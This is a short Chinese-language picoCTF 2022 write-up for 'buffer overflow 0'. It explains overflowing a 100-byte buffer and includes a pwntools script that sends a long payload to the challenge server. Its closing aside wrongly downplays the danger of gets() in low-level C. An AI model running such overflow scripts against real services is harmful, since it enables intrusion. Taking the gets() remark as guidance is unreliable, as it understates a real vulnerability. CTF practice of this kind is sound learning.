---
# System prepended metadata

title: buffer overflow 0-100pt
tags: [picoCTF, 從零開始的 picoCTF, Binary Exploitation, picoCTF2022]

---

# buffer overflow 0-100pt
[題目在這](https://play.picoctf.org/practice/challenge/257?originalEvent=70&page=1)
## 題意
![](https://i.imgur.com/73ZG9UV.png)


## 解題思路

從給的 source code 中，發現宣告了 char buf1[100]，所以塞 101 個字母就 overflow 了，寫個 python 去輸出 101 個 a，複製貼上就好

![](https://i.imgur.com/QoBJD6x.png)

## 後記 2023/04/28

用 pwn 的方式

```
from pwn import *

payload = b'A'*100
host = "saturn.picoctf.net"
port = 51532

p = remote(host, port)
log.info(p.recvS())
p.sendline(payload)
log.success(p.recvallS())
p.close()
```


## 困難之處

nope

p.s. C 在使用 gets() 時，要注意被惡意注入造成 buffer overflow 的問題，不過一般 C 用在底層，應該不會有這個問題吧(?

Date : 2023/04/12
###### tags: `picoCTF2022` [`從零開始的 picoCTF`](https://hackmd.io/-KQeDuzrQMOcFNhwU_5eKA?both=) `picoCTF` `Binary Exploitation` 